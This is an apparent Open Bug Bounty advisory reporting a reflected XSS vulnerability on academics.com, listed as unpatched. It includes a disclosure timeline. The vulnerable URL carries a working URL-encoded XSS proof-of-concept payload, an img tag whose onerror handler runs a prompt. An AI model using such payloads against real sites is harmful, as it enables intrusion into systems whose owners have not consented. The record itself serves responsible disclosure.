academics.com XSS vulnerability

2016-08-25T16:49:00
ID OBB:177612
Type openbugbounty
Reporter ShivprasadSambhare
Modified 2016-11-17T17:15:00

Description

Vulnerable URL:
https://www.academics.com/action/av/search/all?action=search&partialSubmission;=false&saveSearch;=false&editing;=false&agentId;=&mode;=&searchString;=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E%22&suchen;=
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 27.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 289260
VIP website status:| No
Check academics.com SSL connection:| (Grade: A+)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 25 August, 2016 16:49 GMT
Generic security notifications sent to website owner| 25 August, 2016 16:52 GMT
Customized security notification sent to website owner| 25 August, 2016 16:52 GMT
Notification sent to subscribers (without technical details)| 25 August, 2016 18:17 GMT
Vulnerability details disclosed by researcher| 17 November, 2016 17:15 GMT